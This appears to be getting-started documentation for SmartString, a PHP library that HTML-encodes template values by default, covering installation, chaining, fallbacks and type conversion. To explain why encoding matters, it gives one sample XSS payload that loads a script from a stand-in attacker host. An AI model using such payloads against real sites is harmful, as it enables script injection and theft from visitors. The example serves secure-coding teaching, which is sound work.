SmartString makes template output XSS-safe by default: values HTML-encode themselves whenever they're printed. This page covers installation, your first SmartString, the mental model behind the API, and the everyday basics: chaining, fallbacks, type conversion, and defaults.
Contents:
- Installation
- Your First SmartString
- The Mental Model
- Why Auto-Encoding Matters
- Chaining Methods
- Fallbacks for Missing Values
- Working with SmartArray and ZenDB
- Converting to Plain PHP Types
- Configuring Defaults
- Debugging
- What SmartString Guarantees
- What SmartString Does Not Do
Using CMS Builder or ZenDB? SmartString is already installed, and every database value you touch is already a SmartString; skip ahead to Your First SmartString to see how they behave.
composer require itools/smartstringRequirements: PHP 8.1+ and ext-mbstring. The
SmartArray companion
library (arrays as collections of SmartStrings) installs separately:
composer require itools/smartarray.
Create a SmartString with SmartString::new(), then echo it. The output is
HTML-encoded automatically; you never call htmlspecialchars() yourself:
use Itools\SmartString\SmartString;
$name = SmartString::new("Jean O'Brien");
echo "Hello, $name!"; // Hello, Jean O'Brien! (quote encoded automatically)The single quote in "O'Brien" comes out as '. That happens in every
string context: echo, print, concatenation, (string) casts, and
double-quoted interpolation.
A SmartString is an object, not a string. It stores your original value untouched, and whenever PHP needs it as a string, the object converts itself to its HTML-encoded value. That gives you two views of every value:
$str = SmartString::new("It's easy!<hr>");
echo $str; // It's easy!<hr> (encoded, safe for HTML)
echo $str->value(); // It's easy!<hr> (the original value)The rule that makes everything else predictable: the raw value is for
logic (math, comparisons, MySQL); the encoded output is for HTML. This
flips the old habit: instead of remembering to encode every output,
encoding happens on its own, and the one thing left to remember is
value() when your code needs the original. Forgetting even fails in your
favor: a stray ' you can see, not a security hole you can't.
$price = SmartString::new(1234567.89);
if ($price->value() > 1000) { // raw value for logic
echo $price->numberFormat(2); // encoded output for HTML: 1,234,567.89
}The value() method is the escape hatch: it returns the original value in
its original type. An int goes in, an int comes back; same for float,
bool, and null.
Every value you output in HTML needs htmlspecialchars(). Miss one, and an
attacker can run their own script in your page:
// one forgotten htmlspecialchars() on a search page:
echo "Results for $_REQUEST[q]";
// ?q=<script src=//evil.example/steal.js></script> now runs in every visitor's browserAcross hundreds of templates and thousands of echo statements, someone eventually forgets one.
SmartString removes the problem by inverting the default: encoding is what happens when you do nothing. You cannot produce unencoded output by accident; you have to ask for it explicitly (see Encoding and HTML for the explicit ways to ask).
Transformation methods return a new SmartString, so calls chain left to right and the result is still safe to echo:
$article = SmartString::new(" <p>Hello <b>World</b></p> and more text here that keeps going ");
echo $article->textOnly()->maxChars(20); // Hello World and more...Inside double-quoted strings, method calls need curly braces. This is a PHP language requirement, not a SmartString rule:
$date = SmartString::new("2026-09-10 14:30:00");
$price = SmartString::new(1234567.89);
echo "Posted {$date->dateFormat('M jS, Y')}"; // Posted Sep 10th, 2026
echo "Total: {$price->numberFormat(2)}"; // Total: 1,234,567.89SmartString calls a value missing when it is null or an empty string
"", and nothing else. Use or() to show a default when a value is
missing:
$name = SmartString::new(null);
echo "Hello, {$name->or('Guest')}!"; // Hello, Guest!Zero comes through or() unchanged because zero is not missing; a price of
zero (what your template shows as $0.00) is real data, not a missing value:
$price = SmartString::new(0);
echo $price->or("N/A"); // 0For values that must exist, like a record ID from the URL, or404() stops
the page with a 404 instead of substituting a default:
$articleNum = (int)($_GET['num'] ?? 0);
$article = DB::selectOne('articles', ['num' => $articleNum]);
$article->num->or404("Article not found");
// past this line, $article is a real record
echo "<h1>$article->title</h1>";A missing record comes back as an empty row, not null, so $article->num is
safe to call; the field simply reads as missing, which is what triggers the
guard.
The full family (or(), ifNull(), ifZero(), or404(), orDie(),
orThrow(), orRedirect(), and the true/false checks) is covered in
Conditionals and Error Checking.
In practice, you rarely create SmartStrings one at a time. Database rows and
request data arrive as arrays, and
SmartArray's
SmartArrayHtml class wraps a whole array so every value comes back as a
SmartString (separate install: composer require itools/smartarray):
use Itools\SmartArray\SmartArrayHtml;
$user = SmartArrayHtml::new([
'name' => "Jean O'Brien",
'city' => 'Vancouver',
'lastLogin' => '2026-09-10 14:30:00',
]);
echo "Hello, $user->name from $user->city!";
// Hello, Jean O'Brien from Vancouver!
echo "Last login: {$user->lastLogin->dateFormat('F j, Y')}";
// Last login: September 10, 2026
$request = SmartArrayHtml::new($_REQUEST); // request values work the same wayField access interpolates without curly braces or quotes; the plain-array
version of that first echo would be
"Hello, {$user['name']} from {$user['city']}!".
With ZenDB this happens
automatically: every query returns SmartArrays of SmartStrings, so you may
never call SmartString::new() at all:
use Itools\ZenDB\DB;
$users = DB::select('users', ['status' => 'Active']);
foreach ($users as $user) {
echo "$user->name from $user->city<br>\n"; // every value auto-encodes
}The type-conversion methods return plain PHP values, so they end the chain. Use them at boundaries: sessions, comparisons, and functions that expect a specific type:
$value = SmartString::new("123.45");
$value->int(); // 123
$value->float(); // 123.45
$value->bool(); // true
$value->string(); // "123.45" (the original string, NOT HTML-encoded)
$value->value(); // "123.45" (original value in its original type)Note that string() returns the raw string, not the encoded one; it is
value() with a guaranteed string type. Null coerces the way PHP casts do:
int() returns 0, float() returns 0.0, bool() returns false, and
string() returns "". Use value() when you need to know a value was
actually null.
For code that receives a mix of SmartStrings and plain values,
SmartString::getRawValue() unwraps Smart* objects and passes plain values
and arrays through unchanged (other objects throw InvalidArgumentException):
SmartString::getRawValue(SmartString::new("hello")); // "hello"
SmartString::getRawValue(42); // 42 (unchanged)
SmartString::getRawValue(null); // null (unchanged)Three static properties control default formatting. Set them once at the top of your script or in an init file and they apply everywhere:
SmartString::$numberFormatDecimal = '.'; // numberFormat() decimal separator
SmartString::$numberFormatThousands = ','; // numberFormat() thousands separator
SmartString::$dateFormat = 'Y-m-d'; // dateFormat() default formatThe values above are the defaults. European locales typically swap the number separators; see Text and Formatting for how each setting is used.
Use print_r() on any SmartString to see the stored value:
$name = SmartString::new("Jean O'Brien");
print_r($name);
// Itools\SmartString\SmartString Object
// (
// [value] => Jean O'Brien
// )The Method Reference lists every method with examples.
- Every string context produces HTML-encoded output. All of
echo,print, interpolation, concatenation, and(string)casts encode. - Your original value is preserved and accessible via
value(). Nothing is lost or altered by wrapping it. - Type is maintained. An
intgoes in andvalue()returns anint; same forfloat,bool, andnull. - Methods return new objects. Chaining never modifies the original SmartString.
- Bad data never throws. Missing values pass through transformations, and
failed operations (an invalid date, math on a non-numeric value) come out
null, so one
or()at the end covers the whole chain. Developer mistakes are the opposite: an invalid regex or a call to an undefined method throws immediately, with a message that says what to fix.
- It does not sanitize input. It encodes output. Validate data before storage as you normally would.
- It does not validate data. Use
filter_var(), type declarations, or your own checks. - It does not accept objects or resources. Values are
string,int,float,bool, ornull; arrays belong in SmartArray. - It auto-encodes for HTML only. URL and JSON contexts need their
explicit methods,
urlEncode()andjsonEncode(); see Encoding and HTML.